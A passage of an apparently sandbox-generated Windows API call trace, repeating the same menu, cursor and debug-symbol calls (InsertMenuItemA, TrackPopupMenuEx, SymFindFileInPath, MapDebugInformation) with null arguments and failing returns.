lpmi=0x19fa20) returned 0 [0218.990] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.990] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.990] GetLastError () returned 0x579 [0218.990] SetLastError (dwErrCode=0x579) [0218.990] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.990] SymCleanup (hProcess=0x0) returned 0 [0218.990] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.990] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.990] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.990] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0218.990] GetLastError () returned 0x579 [0218.990] SetLastError (dwErrCode=0x579) [0218.990] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.990] SymCleanup (hProcess=0x0) returned 0 [0218.990] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.990] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.990] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.990] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=999, param_4=58, param_5=0x0, param_6=0x0) returned 0 [0218.991] GetLastError () returned 0x579 [0218.991] SetLastError (dwErrCode=0x579) [0218.991] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.991] SymCleanup (hProcess=0x0) returned 0 [0218.991] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.991] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.991] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.991] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.991] GetLastError () returned 0x579 [0218.991] SetLastError (dwErrCode=0x579) [0218.991] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.991] SymCleanup (hProcess=0x0) returned 0 [0218.991] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.991] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.991] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.991] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.991] GetLastError () returned 0x579 [0218.991] SetLastError (dwErrCode=0x579) [0218.991] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.991] SymCleanup (hProcess=0x0) returned 0 [0218.991] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.991] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.991] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.991] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.992] GetLastError () returned 0x579 [0218.992] SetLastError (dwErrCode=0x579) [0218.992] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.992] SymCleanup (hProcess=0x0) returned 0 [0218.992] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.992] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.992] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.992] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0218.992] GetLastError () returned 0x579 [0218.992] SetLastError (dwErrCode=0x579) [0218.992] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.992] SymCleanup (hProcess=0x0) returned 0 [0218.992] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.992] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.992] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.992] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=577, param_4=872, param_5=0x0, param_6=0x0) returned 0 [0218.992] GetLastError () returned 0x579 [0218.992] SetLastError (dwErrCode=0x579) [0218.992] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.992] SymCleanup (hProcess=0x0) returned 0 [0218.992] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.992] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.992] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.993] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.993] GetLastError () returned 0x579 [0218.993] SetLastError (dwErrCode=0x579) [0218.993] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.993] SymCleanup (hProcess=0x0) returned 0 [0218.993] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.993] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.993] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.993] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0218.993] GetLastError () returned 0x579 [0218.993] SetLastError (dwErrCode=0x579) [0218.993] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.993] SymCleanup (hProcess=0x0) returned 0 [0218.993] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.993] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.993] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.993] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.994] GetLastError () returned 0x579 [0218.994] SetLastError (dwErrCode=0x579) [0218.994] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.994] SymCleanup (hProcess=0x0) returned 0 [0218.994] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.994] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.994] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.994] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0218.994] GetLastError () returned 0x579 [0218.994] SetLastError (dwErrCode=0x579) [0218.994] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.994] SymCleanup (hProcess=0x0) returned 0 [0218.994] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.994] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.994] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.994] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=208, param_4=104, param_5=0x0, param_6=0x0) returned 0 [0218.994] GetLastError () returned 0x579 [0218.994] SetLastError (dwErrCode=0x579) [0218.994] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.994] SymCleanup (hProcess=0x0) returned 0 [0218.994] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.995] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.995] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.995] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.995] GetLastError () returned 0x579 [0218.995] SetLastError (dwErrCode=0x579) [0218.995] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.995] SymCleanup (hProcess=0x0) returned 0 [0218.995] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.995] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.995] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.995] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.995] GetLastError () returned 0x579 [0218.995] SetLastError (dwErrCode=0x579) [0218.995] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.995] SymCleanup (hProcess=0x0) returned 0 [0218.995] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.995] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.995] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.995] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.995] GetLastError () returned 0x579 [0218.995] SetLastError (dwErrCode=0x579) [0218.995] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.995] SymCleanup (hProcess=0x0) returned 0 [0218.996] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.996] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.996] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.996] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.996] GetLastError () returned 0x579 [0218.996] SetLastError (dwErrCode=0x579) [0218.996] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.996] SymCleanup (hProcess=0x0) returned 0 [0218.996] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.996] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.996] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.996] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1301, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0218.996] GetLastError () returned 0x579 [0218.996] SetLastError (dwErrCode=0x579) [0218.996] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.996] SymCleanup (hProcess=0x0) returned 0 [0218.996] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.996] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.996] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.996] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.996] GetLastError () returned 0x579 [0218.996] SetLastError (dwErrCode=0x579) [0218.997] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.997] SymCleanup (hProcess=0x0) returned 0 [0218.997] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.997] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.997] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.997] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0218.997] GetLastError () returned 0x579 [0218.997] SetLastError (dwErrCode=0x579) [0218.997] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.997] SymCleanup (hProcess=0x0) returned 0 [0218.997] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.997] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.997] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.997] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.997] GetLastError () returned 0x579 [0218.997] SetLastError (dwErrCode=0x579) [0218.997] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.997] SymCleanup (hProcess=0x0) returned 0 [0218.997] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.997] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.997] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.997] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0218.997] GetLastError () returned 0x579 [0218.998] SetLastError (dwErrCode=0x579) [0218.998] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.998] SymCleanup (hProcess=0x0) returned 0 [0218.998] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.998] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.998] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.998] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=659, param_4=92, param_5=0x0, param_6=0x0) returned 0 [0218.998] GetLastError () returned 0x579 [0218.998] SetLastError (dwErrCode=0x579) [0218.998] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.998] SymCleanup (hProcess=0x0) returned 0 [0218.998] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.998] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.998] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.998] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.998] GetLastError () returned 0x579 [0218.998] SetLastError (dwErrCode=0x579) [0218.998] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.998] SymCleanup (hProcess=0x0) returned 0 [0218.998] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.998] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.998] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.998] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.998] GetLastError () returned 0x579 [0218.999] SetLastError (dwErrCode=0x579) [0218.999] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.999] SymCleanup (hProcess=0x0) returned 0 [0218.999] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.999] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.999] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.999] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.999] GetLastError () returned 0x579 [0218.999] SetLastError (dwErrCode=0x579) [0218.999] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.999] SymCleanup (hProcess=0x0) returned 0 [0218.999] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.999] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.999] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.999] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.999] GetLastError () returned 0x579 [0218.999] SetLastError (dwErrCode=0x579) [0218.999] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.999] SymCleanup (hProcess=0x0) returned 0 [0218.999] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.999] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.999] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.999] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=944, param_4=792, param_5=0x0, param_6=0x0) returned 0 [0218.999] GetLastError () returned 0x579 [0219.000] SetLastError (dwErrCode=0x579) [0219.000] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.000] SymCleanup (hProcess=0x0) returned 0 [0219.000] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.000] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.000] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.000] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.000] GetLastError () returned 0x579 [0219.000] SetLastError (dwErrCode=0x579) [0219.000] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.000] SymCleanup (hProcess=0x0) returned 0 [0219.000] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.000] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.000] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.000] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0219.000] GetLastError () returned 0x579 [0219.000] SetLastError (dwErrCode=0x579) [0219.000] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.000] SymCleanup (hProcess=0x0) returned 0 [0219.000] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.000] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.000] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.000] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.001] GetLastError () returned 0x579 [0219.001] SetLastError (dwErrCode=0x579) [0219.001] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.001] SymCleanup (hProcess=0x0) returned 0 [0219.001] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.001] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.001] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.001] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0219.001] GetLastError () returned 0x579 [0219.001] SetLastError (dwErrCode=0x579) [0219.001] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.001] SymCleanup (hProcess=0x0) returned 0 [0219.001] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.001] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.001] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.001] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1345, param_4=840, param_5=0x0, param_6=0x0) returned 0 [0219.001] GetLastError () returned 0x579 [0219.001] SetLastError (dwErrCode=0x579) [0219.001] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.001] SymCleanup (hProcess=0x0) returned 0 [0219.001] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.001] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.001] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.001] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.002] GetLastError () returned 0x579 [0219.002] SetLastError (dwErrCode=0x579) [0219.002] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.002] SymCleanup (hProcess=0x0) returned 0 [0219.002] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.002] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.002] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.002] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0219.002] GetLastError () returned 0x579 [0219.002] SetLastError (dwErrCode=0x579) [0219.002] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0219.002] SymCleanup (hProcess=0x0) returned 0 [0219.002] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0219.002] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0219.002] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0219.002] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0219.002] GetLastError () returned 0x579 [0219.002] SetLastError (dwErrCode=0x579) [0219.002] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, 